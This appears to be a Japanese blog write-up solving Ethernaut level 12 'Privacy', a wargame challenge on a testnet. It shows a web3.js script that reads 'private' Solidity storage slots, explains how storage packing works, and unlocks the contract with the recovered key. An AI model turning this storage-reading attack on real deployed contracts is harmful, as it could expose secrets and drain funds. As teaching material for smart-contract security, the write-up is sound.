JKになりたい

何か書きたいことを書きます。主にWeb方面の技術系記事が多いかも。

ethernaut #12 Privacy を解く

ethernautについて

ethernautはスマートコントラクトの脆弱性を発見し、攻撃するシミュレーションができるプラットフォームです。

Ethereumスマートコントラクト開発者にはお馴染みのOpenZeppelinが提供してくれています。

遊び方は簡単。脆弱性のあるスマートコントラクトをテストネットワークにデプロイし、そのコントラクトに攻撃を仕掛けるだけです。

攻撃後、submitボタンでコントラクトを提出することで正解かどうかがチェックしてもらえます。

詳しい遊び方は0問目のHello Ethernautを参照。現時点では全19問あり、今後も追加されていくようです。


今回は、12問目のPrivacyという問題を解いていきたいと思います。

12問目からなのは、1~11問目は既にパッと探して日本語記事が公開されていたからです。

Privacy

ethernautの12問目、Privacyを解いていきます。問題ページは以下です。 https://ethernaut.zeppelin.solutions/level/0x76b9fade124191ff5642ba1731a8279b30ebe644

問題

今回攻撃対象となるコントラクトコードは以下のようなものです。

unlock関数を呼び出して、lockを解除するのが目的になります。

unlockするには見ての通りrequire(_key == bytes16(data[2]));のチェックを突破しなければなりません。

pragma solidity ^0.4.18;

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

解法

「data[2]に何が入っているのか」と「bytes32をbytes16にキャストしたらどうなるのか」がわかれば解くことができそうですね!

data[2]に何が入っているのかを調査する

privateであろうが、publicであろうがstorage変数は覗くことができるので、何が入っているかとりあえず出力させてみることにします。

for(let i=0; i<10; i++){
  this.web3js.eth.getStorageAt("0x70b4315C3cb4eba2FD37789C9c885DdEB2329D8A", i, function(error, result){
    console.log("--------" + i + "----------");
    console.log(error);
    console.log(result);
  });
}

web3jsにはweb3.eth.getStorageAtというAPIがあり、これを使うことでstorage領域を参照することができます。

(上記リンクは0.2系ですが、1.0系にもあります。(web3js 1.0)getstorageat

で、以下のような結果が出力されました。

0)0x0000000000000000000000000000000000000000000000000000007216ff0a01
1)0x1348393c2e054f7265a4892bbd180da832362a68875fbbb64226b49536f95aa1
2)0x58a7f2d0b99ddefeabea119e0f3e65e6b44685d315dfb004ea56788deed16e27
3)0xf7a3c40c3fff543d401e5248aca97cd13f9921008fb8038ee198a3e13d4d4f3d

index 4移行は0x0だったので省略しています。

この中のどこかがdata[2]に該当する部分のようです。

それを何とか探し当てていきます。

storageへのデータ格納方法はいくつかの「ルール」が存在します。

  • 各スロットは256bit(32byte)単位で確保される
  • コントラクトコードで定義した順に格納されていく
  • storage変数が256bitに満たない場合は、1つのスロットを複数変数で共有する
  • 定数はこの領域を使用しない

詳しくはSolidityのドキュメントのMiscellaneousの項目に書かれていますので参照してみてください。


このルールを知った上で、出力結果のバイト列を見ていきましょう。

その前に、コントラクトで宣言されている変数を再掲しておきます。

bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

コントラクトコードで定義した順に格納されていく」のでまずbool型のlockedが保存されているはずです。

これは最初のスロット0x0000000000000000000000000000000000000000000000000000007216ff0a01の一番右端「01」が該当します。

次はuint256のIDですが、これは定数なので無視します。

uint8のflattening(= 10)です。これは先程の「01」の左隣「0a」ですね。

uint8のdenomination(= 255)ですが、これは先程の「0a」の左隣の「ff」にあたります。

uint16のawkwardnessは「ff」の左隣2byte「7216」が相当します。

256bitに満たない変数は1スロットにパッキングされて入っていることが確認できました。

最後、bytes32[3]のdataですが、32byte=256bitなので3つ分のスロットを丸々専有します。 つまり・・ data[0] = 0x1348393c2e054f7265a4892bbd180da832362a68875fbbb64226b49536f95aa1 data[1] = 0x58a7f2d0b99ddefeabea119e0f3e65e6b44685d315dfb004ea56788deed16e27 data[2] = 0xf7a3c40c3fff543d401e5248aca97cd13f9921008fb8038ee198a3e13d4d4f3d

となります。これでdata[2]に何が入っているかがわかりました!

bytes32をbytes16にキャストした時の挙動を調査する

これは実際に簡単なコントラクトをデプロイしてみて挙動を調査しました。

pragma solidity ^0.4.24;

contract CastTest {
    event Log(bytes16 log);
    function show() public {
        bytes32 data = 0xf7a3c40c3fff543d401e5248aca97cd13f9921008fb8038ee198a3e13d4d4f3d;
        emit Log(bytes16(data));
    }
}

show関数を呼び出すと、Logイベントが発火しその中にbytes32をbytes16にキャストした結果を入れているだけです。

実行してみると、以下のような結果が帰ってきました。

Ropsten Transaction 0xb25d33841156eb5508cf26f816939eaad520a596551465f06fdd9b6abf27b733

f7a3c40c3fff543d401e5248aca97cd100000000000000000000000000000000

下位の半分が削ぎ落とされるんですね。

これで_keyに何を渡したらいいのかがわかりました。

Unlockを呼び出す

最後に、以下のトランザクションを発行しコントラクトに攻撃をしかけます。

(developper consoleから実行)

contract.unlock("0xf7a3c40c3fff543d401e5248aca97cd1")

トランザクションが取り込まれると・・

await contract.locked()
false

無事unlockできました!これでsubmitするとこの問題は完了です。